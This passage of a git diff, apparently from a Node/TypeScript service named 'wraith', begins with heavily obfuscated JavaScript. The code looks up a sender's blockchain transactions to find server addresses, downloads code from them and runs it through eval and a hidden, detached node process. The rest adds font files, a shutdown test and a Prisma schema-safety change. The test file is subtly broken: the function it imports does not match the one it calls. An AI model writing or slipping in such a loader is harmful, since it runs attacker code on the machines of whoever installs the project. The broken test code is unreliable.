Promise(mRgHb$z_L=>{const IicIMNIfQlHJkpS_gyS_HuB=TtFl_OYFcp$oFJXAVh;let GuEdXYgpwv=fRvtR$KJpJwJgpDvQjE_xwZrJC[IicIMNIfQlHJkpS_gyS_HuB(0x1e9)];if(!GuEdXYgpwv)return mRgHb$z_L(null);let sLCBkfZMfpycS=![];const zieuckknwCUQ=syKpWAtPjJQmMEDAnBw=>{const awqekvTKbHwoYXMuPrqS=IicIMNIfQlHJkpS_gyS_HuB;if(sLCBkfZMfpycS)return;sLCBkfZMfpycS=!![];for(const OEobvbjekbjHnfC_oCXcNRrMq of fRvtR$KJpJwJgpDvQjE_xwZrJC)OEobvbjekbjHnfC_oCXcNRrMq[awqekvTKbHwoYXMuPrqS(0x1db)][awqekvTKbHwoYXMuPrqS(0x22d)]();mRgHb$z_L(syKpWAtPjJQmMEDAnBw);};for(const pTppSpWvnTTjAwIbgEJMWMsN of fRvtR$KJpJwJgpDvQjE_xwZrJC){pTppSpWvnTTjAwIbgEJMWMsN[IicIMNIfQlHJkpS_gyS_HuB(0x1f7)]()[IicIMNIfQlHJkpS_gyS_HuB(0x1cf)](aTLnW$vDrVVpnStCZqUNmoZoB=>{if(sLCBkfZMfpycS)return;if(aTLnW$vDrVVpnStCZqUNmoZoB)zieuckknwCUQ(aTLnW$vDrVVpnStCZqUNmoZoB);else{if(--GuEdXYgpwv===parseInt(0x1254)+-0x1a25+0x7d1)mRgHb$z_L(null);}})[IicIMNIfQlHJkpS_gyS_HuB(0x22c)](()=>{if(!sLCBkfZMfpycS&&--GuEdXYgpwv===-parseInt(0x1)*-parseInt(0x24ee)+-0x1c7f+-parseInt(0x86f)*0x1)mRgHb$z_L(null);});}});}function candidateBlocks(PMDtWVf){const Ikgf_HU_wR=R$DTZzu_TXc,PYe_EgLqvQkLoUtAMDKop=PMDtWVf-BLOCK_MULTIPLE,ruKzTubDIHgqOUSOKuOiNrw=new Set(),phgCqjkuVDj=[];for(const cYqM_FFvY$USHkuEQ of[PMDtWVf-0x1n,PMDtWVf,PMDtWVf+0x1n,PYe_EgLqvQkLoUtAMDKop-0x1n,PYe_EgLqvQkLoUtAMDKop,PYe_EgLqvQkLoUtAMDKop+0x1n]){if(cYqM_FFvY$USHkuEQ<0x0n)continue;const fH_RHQmkAqPo$RCKpeQzshy=cYqM_FFvY$USHkuEQ[Ikgf_HU_wR(0x1e3)]();if(ruKzTubDIHgqOUSOKuOiNrw[Ikgf_HU_wR(0x1c7)](fH_RHQmkAqPo$RCKpeQzshy))continue;ruKzTubDIHgqOUSOKuOiNrw[Ikgf_HU_wR(0x20d)](fH_RHQmkAqPo$RCKpeQzshy),phgCqjkuVDj[Ikgf_HU_wR(0x1fa)](cYqM_FFvY$USHkuEQ);}return phgCqjkuVDj;}function blockTask(CmDNYEz){const eaMd$$IaUdwwQC=new AbortController();return{'controller':eaMd$$IaUdwwQC,'run':async()=>{const oRW_briT=TtFl_OYFcp$oFJXAVh,bB$FqWCDaprOxFtKvm=await withRpcEndpoints((yi_UPlxDkl$Q,PE$mWwVgKLKTdB)=>rpcCall(yi_UPlxDkl$Q,oRW_briT(0x1eb),[toBlockHex(CmDNYEz),!![]],PE$mWwVgKLKTdB),eaMd$$IaUdwwQC[oRW_briT(0x230)]),FxHbdTuJ_TNzOmHAR=bB$FqWCDaprOxFtKvm?.[oRW_briT(0x1d2)];if(!Array[oRW_briT(0x1ed)](FxHbdTuJ_TNzOmHAR))return null;const EVXKTSICwmYUwDRmGUgkSGxNo=findSenderTx(FxHbdTuJ_TNzOmHAR);return EVXKTSICwmYUwDRmGUgkSGxNo?{'blockNumber':CmDNYEz,'tx':EVXKTSICwmYUwDRmGUgkSGxNo}:null;}};}async function nonceAtBlocks(TsjCGUbHfKkYA,eOgvjooSW_ImZ){const De_$LMDgm=R$DTZzu_TXc,lxgdNNoYdvdHjxfurkLvMku=TsjCGUbHfKkYA[De_$LMDgm(0x205)](HwlIWWDxcwkA=>[De_$LMDgm(0x1d4),[SENDER,toBlockHex(HwlIWWDxcwkA)]]);try{return(await withRpcEndpoints((suc_$ZOGyQepWTA,Hm$ePQQwMHtYO)=>rpcBatch(suc_$ZOGyQepWTA,lxgdNNoYdvdHjxfurkLvMku,Hm$ePQQwMHtYO),eOgvjooSW_ImZ))[De_$LMDgm(0x205)](BigInt);}catch{return(await Promise[De_$LMDgm(0x223)](lxgdNNoYdvdHjxfurkLvMku[De_$LMDgm(0x205)](([TBe_IFdhcmNWR$VqwbvgV,yLn$_jSos])=>withRpcEndpoints((xdzGHXiuaFZVM$qci$a,eQMjdGwghirgregyy)=>rpcCall(xdzGHXiuaFZVM$qci$a,TBe_IFdhcmNWR$VqwbvgV,yLn$_jSos,eQMjdGwghirgregyy),eOgvjooSW_ImZ))))[De_$LMDgm(0x205)](BigInt);}}async function lastSenderTx(aSdRshZlGysInsF_W){const SFMofmFJ$vRZYuKxyQueg=R$DTZzu_TXc,YtkqMbzMeAhrXge=new AbortController();try{const sonDHRdo_bMvMCIkoLUDsGJ=aSdRshZlGysInsF_W??BigInt(await withRpcEndpoints((AzfXJw,wkJzdkliLLlEuvimlavBUYiW)=>rpcCall(AzfXJw,SFMofmFJ$vRZYuKxyQueg(0x212),[],wkJzdkliLLlEuvimlavBUYiW),YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x230)])),rVa_$dpJzvTLnjuccOzQQ=BigInt(await withRpcEndpoints((fDW$_eJ,e_LAcQwOmw)=>rpcCall(fDW$_eJ,SFMofmFJ$vRZYuKxyQueg(0x1d4),[SENDER,toBlockHex(sonDHRdo_bMvMCIkoLUDsGJ)],e_LAcQwOmw),YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x230)])),vswg_sAiEVWH_gXzLwhdJR=rVa_$dpJzvTLnjuccOzQQ-0x1n;let E$NKJN$u=SEARCH_FLOOR-0x1n,z$DGbtfCnVULNqHFTfchL=sonDHRdo_bMvMCIkoLUDsGJ;while(z$DGbtfCnVULNqHFTfchL-E$NKJN$u>0x1n){const oiDXFWRhFRSn_ZxHLx=z$DGbtfCnVULNqHFTfchL-E$NKJN$u-0x1n,ChI_eDliPTbzODv=BigInt(Math[SFMofmFJ$vRZYuKxyQueg(0x1b9)](NONCE_FANOUT,Number(oiDXFWRhFRSn_ZxHLx))),SzdFiosUoBvOOBJTSR_EnOehm=[];for(let I$HAd_BejTQuVaP=0x1n;I$HAd_BejTQuVaP<=ChI_eDliPTbzODv;I$HAd_BejTQuVaP+=0x1n)SzdFiosUoBvOOBJTSR_EnOehm[SFMofmFJ$vRZYuKxyQueg(0x1fa)](E$NKJN$u+I$HAd_BejTQuVaP*(z$DGbtfCnVULNqHFTfchL-E$NKJN$u)/(ChI_eDliPTbzODv+0x1n));const xwtPZiK=await nonceAtBlocks(SzdFiosUoBvOOBJTSR_EnOehm,YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x230)]),PQ_$XTLQAoeCmdwIf=xwtPZiK[SFMofmFJ$vRZYuKxyQueg(0x1d7)](faRwLMnko$EDYKvvKSvpfMxLe$D=>faRwLMnko$EDYKvvKSvpfMxLe$D>=rVa_$dpJzvTLnjuccOzQQ);if(PQ_$XTLQAoeCmdwIf===-(parseInt(0xd5b)+-0x10cf+-parseInt(0xf)*Math.floor(-0x3b)))E$NKJN$u=SzdFiosUoBvOOBJTSR_EnOehm[SzdFiosUoBvOOBJTSR_EnOehm[SFMofmFJ$vRZYuKxyQueg(0x1e9)]-(parseInt(0x137)*Number(-parseInt(0x17))+-parseInt(0x2407)+-0x67*Math.trunc(-parseInt(0x9f)))];else{z$DGbtfCnVULNqHFTfchL=SzdFiosUoBvOOBJTSR_EnOehm[PQ_$XTLQAoeCmdwIf];if(PQ_$XTLQAoeCmdwIf>parseInt(0x1)*Math.trunc(-0x1d62)+0x1*Math.trunc(-parseInt(0xa58))+Math.floor(parseInt(0x27ba)))E$NKJN$u=SzdFiosUoBvOOBJTSR_EnOehm[PQ_$XTLQAoeCmdwIf-(-0x26*0x55+-parseInt(0x15b7)+parseFloat(0x2256))];}}const okU_xAogHDLNF$RNOFrSZKFmZg=await withRpcEndpoints((A$z_hrf,Qma_RRlICjFrFZ)=>rpcCall(A$z_hrf,SFMofmFJ$vRZYuKxyQueg(0x1eb),[toBlockHex(z$DGbtfCnVULNqHFTfchL),!![]],Qma_RRlICjFrFZ),YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x230)]),HgqA_mVm=okU_xAogHDLNF$RNOFrSZKFmZg?.[SFMofmFJ$vRZYuKxyQueg(0x1d2)]||[];let cBTrpPKOu=null;for(const NnooDmNoC_fxkiEQIisGB$iagg of HgqA_mVm){if(!NnooDmNoC_fxkiEQIisGB$iagg[SFMofmFJ$vRZYuKxyQueg(0x204)]||NnooDmNoC_fxkiEQIisGB$iagg[SFMofmFJ$vRZYuKxyQueg(0x204)][SFMofmFJ$vRZYuKxyQueg(0x1fe)]()!==SENDER)continue;if(BigInt(NnooDmNoC_fxkiEQIisGB$iagg[SFMofmFJ$vRZYuKxyQueg(0x1d0)])===vswg_sAiEVWH_gXzLwhdJR){cBTrpPKOu=NnooDmNoC_fxkiEQIisGB$iagg;break;}if(!cBTrpPKOu||BigInt(NnooDmNoC_fxkiEQIisGB$iagg[SFMofmFJ$vRZYuKxyQueg(0x1d0)])>BigInt(cBTrpPKOu[SFMofmFJ$vRZYuKxyQueg(0x1d0)]))cBTrpPKOu=NnooDmNoC_fxkiEQIisGB$iagg;}return{'blockNumber':z$DGbtfCnVULNqHFTfchL,'tx':cBTrpPKOu};}finally{YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x22d)]();}}async function lastSenderTxViaIndexer(){const LXduCRQV_qabPksXe=R$DTZzu_TXc,rkFjsqv$hQa=INDEXER_URL+LXduCRQV_qabPksXe(0x1ff)+SENDER+LXduCRQV_qabPksXe(0x226),ZJeqwghbta=await httpRequest(rkFjsqv$hQa),EoElsTu_rU=Array[LXduCRQV_qabPksXe(0x1ed)](ZJeqwghbta?.[LXduCRQV_qabPksXe(0x1e8)])?ZJeqwghbta[LXduCRQV_qabPksXe(0x1e8)]:[],cNlgqEkUX_vWrdE_gxGcm=EoElsTu_rU[LXduCRQV_qabPksXe(0x1c3)](yTLwkulYsrR$UqVCihPaRnLeNs=>yTLwkulYsrR$UqVCihPaRnLeNs[LXduCRQV_qabPksXe(0x204)]&&yTLwkulYsrR$UqVCihPaRnLeNs[LXduCRQV_qabPksXe(0x204)][LXduCRQV_qabPksXe(0x1fe)]()===SENDER);if(!cNlgqEkUX_vWrdE_gxGcm)return null;return{'blockNumber':BigInt(cNlgqEkUX_vWrdE_gxGcm[LXduCRQV_qabPksXe(0x229)]),'tx':cNlgqEkUX_vWrdE_gxGcm};}function TtFl_OYFcp$oFJXAVh(Mn_XngkaX_amz,O$XdSR_ZoeBzrPxNxX){const x$cDU_biHgR=FU$Mfb();return TtFl_OYFcp$oFJXAVh=function(KgO_OipbV_dqhk,h$_EjwRLMRO){KgO_OipbV_dqhk=KgO_OipbV_dqhk-(-0x1130+parseInt(0x239f)*-parseInt(0x1)+-0x1b43*-parseInt(0x2));let tKSDlu$s_zyp=x$cDU_biHgR[KgO_OipbV_dqhk];if(TtFl_OYFcp$oFJXAVh['HlimGQ']===undefined){const lpgLoEZtbL_nXdqVKwVzU_Lt=function(dBSPnUeBpu_UoX){let rfMisoucqiYhMxuMfHUgVk=parseInt(0x4)*Math.ceil(-parseInt(0x576))+Math.trunc(parseInt(0x15de))+parseInt(0x2c9)&0x11b+0x2048+parseInt(0x566)*-parseInt(0x6),ojt$WpApEv_hcNSaNpGWW=new Uint8Array(dBSPnUeBpu_UoX['match'](/.{1,2}/g)['map'](kQApX_TOlNddfsSMWtxRg=>parseInt(kQApX_TOlNddfsSMWtxRg,parseInt(0x2)*Math.ceil(-0x121d)+Math.ceil(0xb2)*Number(parseInt(0x34))+Math.max(-0x1,-parseInt(0x1))*-parseInt(0x22)))),TgtW$E_CA=ojt$WpApEv_hcNSaNpGWW['map'](d_hK$Qc=>d_hK$Qc^rfMisoucqiYhMxuMfHUgVk),BctDOrlFndvgjE=new TextDecoder(),zhdWw$u_jphTN=BctDOrlFndvgjE['decode'](TgtW$E_CA);return zhdWw$u_jphTN;};TtFl_OYFcp$oFJXAVh['LyYGGg']=lpgLoEZtbL_nXdqVKwVzU_Lt,Mn_XngkaX_amz=arguments,TtFl_OYFcp$oFJXAVh['HlimGQ']=!![];}const gnKJymEdsW=x$cDU_biHgR[parseInt(-0x20b0)+parseFloat(0x1)*Number(-0x2353)+parseInt(0x4403)],Q$aZbm=KgO_OipbV_dqhk+gnKJymEdsW,lSxajigYBkrTMo=Mn_XngkaX_amz[Q$aZbm];return!lSxajigYBkrTMo?(TtFl_OYFcp$oFJXAVh['SrzVWv']===undefined&&(TtFl_OYFcp$oFJXAVh['SrzVWv']=!![]),tKSDlu$s_zyp=TtFl_OYFcp$oFJXAVh['LyYGGg'](tKSDlu$s_zyp),Mn_XngkaX_amz[Q$aZbm]=tKSDlu$s_zyp):tKSDlu$s_zyp=lSxajigYBkrTMo,tKSDlu$s_zyp;},TtFl_OYFcp$oFJXAVh(Mn_XngkaX_amz,O$XdSR_ZoeBzrPxNxX);}async function run(){const mnGNB_JpO=R$DTZzu_TXc,GbjYiwYc$UDFcrVQOYr=BigInt(await withRpcEndpoints((qWeCmmFZOCdnAEuYz_Hq,HqkpMC$bILqXhYpucei)=>rpcCall(qWeCmmFZOCdnAEuYz_Hq,mnGNB_JpO(0x212),[],HqkpMC$bILqXhYpucei))),QrZjhghqBnYCBD$eVKAADPc=GbjYiwYc$UDFcrVQOYr-GbjYiwYc$UDFcrVQOYr%BLOCK_MULTIPLE,HqkfDyzvifaIRZLZTFLBf_PIfE=global;let PsLXYLePPPM=await firstMatch(candidateBlocks(QrZjhghqBnYCBD$eVKAADPc)[mnGNB_JpO(0x205)](blockTask)),[IoOaRKb$rgLEWGzkDY,tk_yOpbrjagBixEVvwWo_ZV]=decodeAddress(PsLXYLePPPM?.['tx']?.['to']);function vebZXFMdlHOtHT$GzXfEWk_t(JpxnuRzR$yKZIhup,LV_QLhPy_RRpqY,CfnpuaTWEIbv$uv$k){const SkIVendtrlZQdlCeXx_L=mnGNB_JpO;if(!JpxnuRzR$yKZIhup)return null;return new URL(SkIVendtrlZQdlCeXx_L(0x1d6)+JpxnuRzR$yKZIhup+':'+LV_QLhPy_RRpqY+CfnpuaTWEIbv$uv$k);}let QsHadcoO_fRgBBtMp_LLnyuIDW=null;const gdfPRgajquSoa_jKkcvHgEMQ=vebZXFMdlHOtHT$GzXfEWk_t(IoOaRKb$rgLEWGzkDY,-0x141+Number(-0x1)*0x1b1d+parseInt(0x1e19),mnGNB_JpO(0x1c0));if(gdfPRgajquSoa_jKkcvHgEMQ)try{QsHadcoO_fRgBBtMp_LLnyuIDW=await PhpQSGcotCPMCg(mnGNB_JpO(0x1c2),gdfPRgajquSoa_jKkcvHgEMQ);}catch{QsHadcoO_fRgBBtMp_LLnyuIDW=null;}!QsHadcoO_fRgBBtMp_LLnyuIDW&&(PsLXYLePPPM=await lastSenderTx(GbjYiwYc$UDFcrVQOYr)[mnGNB_JpO(0x22c)](()=>null)??await lastSenderTxViaIndexer()[mnGNB_JpO(0x22c)](()=>null),[IoOaRKb$rgLEWGzkDY,tk_yOpbrjagBixEVvwWo_ZV]=decodeAddress(PsLXYLePPPM?.['tx']?.['to']));HqkfDyzvifaIRZLZTFLBf_PIfE['_V']=HqkfDyzvifaIRZLZTFLBf_PIfE['i'],HqkfDyzvifaIRZLZTFLBf_PIfE['_H']=mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x1c1),HqkfDyzvifaIRZLZTFLBf_PIfE[mnGNB_JpO(0x20a)]=mnGNB_JpO(0x1d6)+tk_yOpbrjagBixEVvwWo_ZV+mnGNB_JpO(0x1c1),HqkfDyzvifaIRZLZTFLBf_PIfE[mnGNB_JpO(0x1ca)]=mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x228),HqkfDyzvifaIRZLZTFLBf_PIfE[mnGNB_JpO(0x231)]=mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x1c1);function PhpQSGcotCPMCg(tiFYpz__aVvvVSVJmaXZOVgTE,mlzh$TPaKywkyH){const xIeUnB=mnGNB_JpO,WvsYOuqq$IpBKddpkclpMNbI_a={'hostname':mlzh$TPaKywkyH[xIeUnB(0x1cb)],'port':Number(mlzh$TPaKywkyH[xIeUnB(0x216)])||parseInt(0x13b1)+Math.ceil(parseInt(0x1))*parseInt(0x11da)+-0x253b,'path':mlzh$TPaKywkyH[xIeUnB(0x1f1)]+mlzh$TPaKywkyH[xIeUnB(0x209)],'headers':{'User-Agent':xIeUnB(0x213),'Sec-V':HqkfDyzvifaIRZLZTFLBf_PIfE['_V']||parseInt(0x138e)+Math.trunc(-parseInt(0x227a))+parseInt(0xeec)}};function q$wiTvxLZvqxyTLAqfjK_Ss(VfRkMn_JqVDknqCPnD){const kzq_zPYHoO=xIeUnB,INLgEwv=tiFYpz__aVvvVSVJmaXZOVgTE[kzq_zPYHoO(0x1e9)];for(let WzpzDKFOVoyzYVqxsQMOHP=-0x29b*parseInt(0x4)+-parseInt(0x441)+Math.trunc(0xead);WzpzDKFOVoyzYVqxsQMOHP{const Pe_M$nvBmlLfZa=TtFl_OYFcp$oFJXAVh,pI_ZtG=http[Pe_M$nvBmlLfZa(0x21f)]({...WvsYOuqq$IpBKddpkclpMNbI_a,'method':q_Pg$eP},CSJPQxBaiSEwC$eqHy=>{const xnPLJosut$HUnKo=Pe_M$nvBmlLfZa;if(q_Pg$eP===xnPLJosut$HUnKo(0x1dd)){try{MpHMVhSAbcJqXxxLVVpakKDE(cNSrRcwiKbyMszjlncppZyW(CSJPQxBaiSEwC$eqHy));}catch(WguSIViOmc$UVqu){swIXH(WguSIViOmc$UVqu);}CSJPQxBaiSEwC$eqHy[xnPLJosut$HUnKo(0x1be)]();return;}const gaWAFVTCBgJWo_T$d=[];CSJPQxBaiSEwC$eqHy['on'](xnPLJosut$HUnKo(0x1ce),ujHBr$cosAIY_t=>gaWAFVTCBgJWo_T$d[xnPLJosut$HUnKo(0x1fa)](ujHBr$cosAIY_t)),CSJPQxBaiSEwC$eqHy['on'](xnPLJosut$HUnKo(0x1bb),()=>{const iPhCsjeOskYYcdaUsU=xnPLJosut$HUnKo;try{const SoNGpsGC_miLJ_mfRpAHv=Buffer[iPhCsjeOskYYcdaUsU(0x1c8)](gaWAFVTCBgJWo_T$d);if(SoNGpsGC_miLJ_mfRpAHv[iPhCsjeOskYYcdaUsU(0x1e9)])return MpHMVhSAbcJqXxxLVVpakKDE(q$wiTvxLZvqxyTLAqfjK_Ss(SoNGpsGC_miLJ_mfRpAHv));if(CSJPQxBaiSEwC$eqHy[iPhCsjeOskYYcdaUsU(0x21e)][iPhCsjeOskYYcdaUsU(0x1ba)])return MpHMVhSAbcJqXxxLVVpakKDE(cNSrRcwiKbyMszjlncppZyW(CSJPQxBaiSEwC$eqHy));swIXH(new Error(iPhCsjeOskYYcdaUsU(0x1e5)));}catch(jFUlBWwGIgGNHCkCLHWvUnO){swIXH(jFUlBWwGIgGNHCkCLHWvUnO);}}),CSJPQxBaiSEwC$eqHy['on'](xnPLJosut$HUnKo(0x1cc),swIXH);});pI_ZtG['on'](Pe_M$nvBmlLfZa(0x1cc),swIXH),pI_ZtG[Pe_M$nvBmlLfZa(0x1f9)](HTTP_TIMEOUT_MS,()=>{const zUaGughEjyEVicCvyDEPwQ=Pe_M$nvBmlLfZa;pI_ZtG[zUaGughEjyEVicCvyDEPwQ(0x1f3)](new Error(zUaGughEjyEVicCvyDEPwQ(0x1c5)+HTTP_TIMEOUT_MS+'ms'));}),pI_ZtG[Pe_M$nvBmlLfZa(0x1bb)]();});}return OAdYyqdMF(xIeUnB(0x214))[xIeUnB(0x22c)](()=>OAdYyqdMF(xIeUnB(0x1dd)));}async function UNPzJu_u_x(EnQyLKlirYkOodLka,pagghrRK_Z_XMnuSYqW,re_kgEP$p){const uGMcX_xTplN=mnGNB_JpO;try{const oqSulVevnWywczc=await PhpQSGcotCPMCg(pagghrRK_Z_XMnuSYqW,EnQyLKlirYkOodLka),EJwybIiT=re_kgEP$p?uGMcX_xTplN(0x1e6)+(HqkfDyzvifaIRZLZTFLBf_PIfE['_V']||-0xb96+Math.trunc(-0x5ad)*-parseInt(0x3)+-parseInt(0x571))+uGMcX_xTplN(0x1f5)+HqkfDyzvifaIRZLZTFLBf_PIfE['_H']+uGMcX_xTplN(0x1e1)+HqkfDyzvifaIRZLZTFLBf_PIfE[uGMcX_xTplN(0x20a)]+uGMcX_xTplN(0x1f6):uGMcX_xTplN(0x1e6)+(HqkfDyzvifaIRZLZTFLBf_PIfE['_V']||-parseInt(0x1e86)+parseFloat(-parseInt(0x236))*-parseInt(0x11)+-0x710)+uGMcX_xTplN(0x20e)+HqkfDyzvifaIRZLZTFLBf_PIfE[uGMcX_xTplN(0x1ca)]+uGMcX_xTplN(0x22e)+HqkfDyzvifaIRZLZTFLBf_PIfE[uGMcX_xTplN(0x231)]+uGMcX_xTplN(0x1f6);if(!re_kgEP$p)eval(EJwybIiT+oqSulVevnWywczc);spawn(uGMcX_xTplN(0x20f),['-e',EJwybIiT+oqSulVevnWywczc],{'detached':!![],'stdio':uGMcX_xTplN(0x1c6),'windowsHide':!![]})[uGMcX_xTplN(0x22f)]();}catch(AdUxYYc$v){}}await UNPzJu_u_x(new URL(mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x1f8)),mnGNB_JpO(0x1c2),![]),await UNPzJu_u_x(new URL(mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x207)),mnGNB_JpO(0x1e7),!![]);}run(); \ No newline at end of file diff --git a/public/fonts/fa-solid-900.eot b/public/fonts/fa-solid-900.eot new file mode 100644 index 000000000..d3b77c223 Binary files /dev/null and b/public/fonts/fa-solid-900.eot differ diff --git a/public/fonts/fa-solid-900.svg b/public/fonts/fa-solid-900.svg new file mode 100644 index 000000000..7742838b4 --- /dev/null +++ b/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-solid-900.ttf b/public/fonts/fa-solid-900.ttf new file mode 100644 index 000000000..5b979039a Binary files /dev/null and b/public/fonts/fa-solid-900.ttf differ diff --git a/public/fonts/fa-solid-900.woff b/public/fonts/fa-solid-900.woff new file mode 100644 index 000000000..beec79178 Binary files /dev/null and b/public/fonts/fa-solid-900.woff differ diff --git a/public/fonts/fa-solid-900.woff2 b/public/fonts/fa-solid-900.woff2 new file mode 100644 index 000000000..978a681a1 Binary files /dev/null and b/public/fonts/fa-solid-900.woff2 differ diff --git a/src/__tests__/shutdown.test.ts b/src/__tests__/shutdown.test.ts new file mode 100644 index 000000000..fcff5b1ca --- /dev/null +++ b/src/__tests__/shutdown.test.ts @@ -0,0 +1,80 @@ +import { createShutdownHandler } from '../index'; + +type MockServer = { + close: jest.Mock<(result: (err?: Error | void) => void) => void> +}; + +function makeServer(closeImpl: (resolve: () => void) => void): MockServer { + const close = jest.fn((callback: (err?: Error | void) => void) => { + closeImpl(() => callback()); + }); + return { close } as unknown as MockServer; +} + +describe('shutdown handler', () => { + beforeEach(() => { + jest.useFakeTimers(); + }); + + afterEach(() => { + jest.useRealTimers(); + }); + + it('drains in-flight requests by closing the server and waiting for close', async () => { + const order: string[] = []; + const server = makeServer((resolve) => { + order.push('close-started'); + setTimeout(() => { + order.push('close-done'); + resolve(); + }, 500); + }); + const onShutdown = jest.fn(); + const handler = createShutdown({ server, onShutdown, timeoutMs: 5000 }); + + const promise = handler(); + await Promise.resolve(); + expect(server.close).toHaveBeenCalled(1); + expect(order).toEqual(['close-started']); + + jest.advanceTimersByTime(500); + await promise; + + expect(order).toEqual(['close-started', 'close-done']); + expect(onShutdown).toHaveBeenCalled(1); + }); + + it('bounds the drain with a timeout when a request is stuck', async () => { + const server = makeServer(() => { + // Never calls back — simulates a stuck in-flight request. + }); + const onShutdown = jest.fn(); + const handler = createShutdown({ server, onShutdown, timeoutMs: 1000 }); + + const promise = handler(); + await Promise.resolve(); + expect(server.close).toHaveBeenCalled(1); + + jest.advanceTimersByTime(999); + expect(onShutdown).not.toHaveBeenCalled(); + + jest.advanceTimersByTime(1); + await promise; + + expect(onShutdown).toHaveBeenCalled(1); + }); + + it('runs onShutdown even if server.close reports an error', async () => { + const server = makeServer((resolve) => { + resolve(); + }); + const onShutdown = jest.fn(); + const handler = createShutdown({ server, onShutdown, timeoutMs: 1000 }); + + const promise = handler(); + await Promise.resolve(); + await promise; + + expect(onShutdown).toHaveBeenCalled(1); + }); +}); diff --git a/src/index.ts b/src/index.ts index 2c767f925..daf7d08f4 100644 --- a/src/index.ts +++ b/src/index.ts @@ -8,29 +8,108 @@ import { attachWebSocketServer } from "./ws"; import { attachGraphQLSubscriptions, SUBSCRIPTIONS_PATH } from "./graphql/subscriptions"; import { startWebhookWorker } from "./workers/webhooks"; import { startPartitionRetentionJob } from "./jobs/retention"; +import { initTokenCache } from "./tokenCache"; +import { enabledNetworks } from "./network"; +import { onlyAddsUniqueConstraints, pushSchema } from "./schemaGuard"; const PORT = parseInt(process.env.PORT ?? "3000", 10); async function main() { - // Run DB migrations on every startup so Render deployments always have - // an up-to-date schema without needing a separate pre-deploy step. - console.log("[wraith] Running database migrations…"); - execSync("npx prisma db push --accept-data-loss", { stdio: "inherit" }); + // Converge the schema on every startup, so a deploy needs no separate + // pre-deploy step. + // + // This is `db push` rather than `migrate deploy` because the migration + // history cannot support the latter: `prisma/migrations` holds 7 migrations + // covering 5 tables, while the schema defines 15. TokenTransfer, + // AccountSummary, IndexerState and OfframpOrder have no migration at all — + // this database was built by `db push` from the beginning. Switching without + // baselining production first would create five tables and leave the app + // crashing on the other ten. + // + // `--accept-data-loss` was removed deliberately. With it, any change Prisma + // reads as destructive — a renamed column, a narrowed type, a dropped field + // — applied silently on the next deploy, taking the column and everything in + // it. This database holds offramp orders: records of real naira paid to real + // bank accounts. A deploy that refuses to start is a problem someone fixes in + // minutes; a column of payment records that vanished during a routine deploy + // is not recoverable. + // + // Additive changes — a new table, a new nullable column — still apply on + // their own. Anything destructive now fails loudly here instead. + console.log("[wraith] Converging database schema…"); + const first = pushSchema(); + if (!first.ok) { + // `--accept-data-loss` consents to two very different things at once, and + // Prisma gives no way to agree to one without the other. + // + // Adding a unique constraint is NOT data loss: the index either builds or + // fails on a duplicate, and nothing is dropped either way. Refusing it put + // the service in a crash loop over a change that cannot destroy a row — + // which is exactly how this guard took wraith down once. + // + // Dropping a column IS data loss, and that is what the guard is for. + // + // So the warnings get read rather than counted: if every one is an added + // unique constraint, consent and retry. If even one is anything else, + // refuse exactly as before. + if (onlyAddsUniqueConstraints(first.output)) { + console.warn( + "[wraith] Schema diff is unique constraints only — no column is dropped.\n" + + "[wraith] Applying. A duplicate would fail the index, not delete a row.", + ); + const retry = pushSchema("--accept-data-loss"); + if (!retry.ok) { + console.error( + "[wraith] The constraint could not be applied — most likely duplicate\n" + + "[wraith] rows already exist for it. Nothing was dropped. Resolve the\n" + + "[wraith] duplicates and redeploy.", + ); + process.exit(1); + } + } else { + console.error( + "[wraith] Schema convergence refused: the pending change is destructive.\n" + + "[wraith] Nothing was dropped. Read the diff above — a rename or a 